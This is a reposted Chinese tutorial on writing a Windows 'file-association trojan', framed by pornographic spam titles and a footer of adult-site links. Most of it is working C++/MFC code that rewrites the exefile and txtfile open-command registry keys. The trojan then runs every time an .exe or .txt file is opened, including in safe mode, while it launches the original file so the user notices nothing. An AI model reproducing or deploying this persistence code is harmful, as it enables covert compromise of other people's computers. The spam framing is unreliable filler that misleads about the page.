麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 編程 > Java > 正文

文件關聯型木馬的編程思路

2019-09-06 23:33:23
字體:
來源:轉載
供稿:網友

                    我們知道一般情況下想在開機啟動程序,就要把程序寫在注冊表中的

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService

等環境中,由于這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護模式這些程序是不會運行的,但是如果我們把我們的程序在注冊表中進行了關聯卻收到了很好的結果。

在注冊表HKEY_CLASSES_ROOTexefileshellopencommand中的值就是可執行程序*.exe
文件的關聯處,缺省為“"%1"
%*”,如果把這個程序改為我們的木馬程序,那樣的話,每執行一個可執行程序就會執行我們的程序,而不會再執行原有的程序,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動后,再執行原有的程序,這樣對于一般的人來看好像什么事也沒發生過。好了心動不如行動,我們開始動手做一個吧。



l 首先用vc建立一個基于對話框的程序srart

在CstartDlg加入公有變量 HANDLE hMutex;防止我們的木馬運行多次。

l 在CStartDlg::OnInitDialog()中加入如下函數:

CString str;

str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數

const char *MutexObject="MyStart";//建立互斥對象

hMutex=NULL;

hMutex=::CreateMutex(false,false,MutexObject);

if(hMutex!=NULL)

{

DWORD err=GetLastError();



if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出



}

if(str!="")

{

CString temp;

char ch;

int length =str.GetLength();

for(int i=0;i<length;i++)

{

ch=str.GetAt(i);

if(ch=='/')

temp=temp+"http://";

else temp=temp+ch;



}

temp = temp.Left(temp.GetLength() - 2);

temp = temp.Mid(1);
//上面的函數是把字符串中所有的””變為”/”

char str1[]=""%1" %*";


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

//
在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。


ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程序

}

//在程序執行完成后,再把注冊表改為我們要啟動的木馬程序的

TCHAR str2[256];

// 得到程序全路徑名

GetModuleFileName( NULL, str2, 255 );

strcat(str2," "%1" %*");


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執行我們的start
程序了。即使是在安全模式下只要執行可執行程序就會運行我們的程序了。



同樣的我們也可以將其它文件進行關聯,例如將文本文件進行關聯,在CStartDlg::OnInitDialog()中重新加下代碼

CString str;

str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數

const char *MutexObject="MyStart";//建立互斥對象

hMutex=NULL;

hMutex=::CreateMutex(false,false,MutexObject);

if(hMutex!=NULL)

{

DWORD err=GetLastError();



if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出



}

if(str.Find("txt")!=-1)

{

CString temp;

char ch;

int length =str.GetLength();

for(int i=0;i<length;i++)

{

ch=str.GetAt(i);

if(ch=='/')

temp=temp+"http://";

else temp=temp+ch;



}

temp = temp.Left(temp.GetLength() - 2);

temp = temp.Mid(1);
//上面的函數是把字符串中的""變為"/"

char str1[]=""%1" %*";



//
在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。


ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執行原有的程序

}

//在程序執行完成后,再把注冊表改為我們要啟動的木馬程序的

TCHAR str2[256];

// 得到程序全路徑名

GetModuleFileName( NULL, str2, 255 );

strcat(str2," "%1" %*");


::RegSetValue(HKEY_CLASSES_ROOT,"txtfile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執行我們的start 程序了。


當然了這些程序在自己的機器上運行后還是要恢復的下面的函數就可以幫助進行恢復了

char str2[]="NOTEPAD.EXE %1";


::RegSetValue(HKEY_CLASSES_ROOT,"txtfile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

char str1[]=""%1" %*";


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);


當然了這個程序在win98下運行比較正常,在win2000下無法打開桌面上的文件夾,再也就沒什么問題了。如果誰知道,請告訴我,

[email protected]
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: xxxx69hd一hd | 久久免费观看一级毛片 | 亚洲码无人客一区二区三区 | 51国产偷自视频区视频小蝌蚪 | www.91sese| 欧美特黄一级高清免费的香蕉 | 曰韩一级片 | 久久91久久久久麻豆精品 | 国产精品aⅴ | 羞羞视频免费观看入口 | 免费看操片| 伊人yinren22综合网色 | 国产寡妇xxxxxxxx性开放 | 91精品国产日韩91久久久久久360 | 国产91精品欧美 | 美国一级免费视频 | 日韩99 | 中文在线免费观看 | 免费一级毛片在线播放不收费 | 精品一区二区在线观看 | 欧美a级在线免费观看 | 1区2区3区在线观看 欧美特黄a | 羞羞视频免费网站日本动漫 | 欧美日韩在线影院 | 国产精品自拍99 | gogo全球大胆高清人露出91 | 免费国产在线视频 | 日本不卡一二三区 | 中文字幕在线视频日本 | 欧美雌雄另类xxxxx | 国产羞羞视频在线观看免费应用 | 人禽l交免费视频观看 视频 | 国产一区在线视频观看 | 成人免费毛片在线观看 | 国产男女 爽爽爽爽视频 | 国外成人在线视频 | 成人三级电影网址 | 久久国产成人午夜av浪潮 | av色先锋 | 精品国产91久久久久久久 | 国产精品久久久久久238 |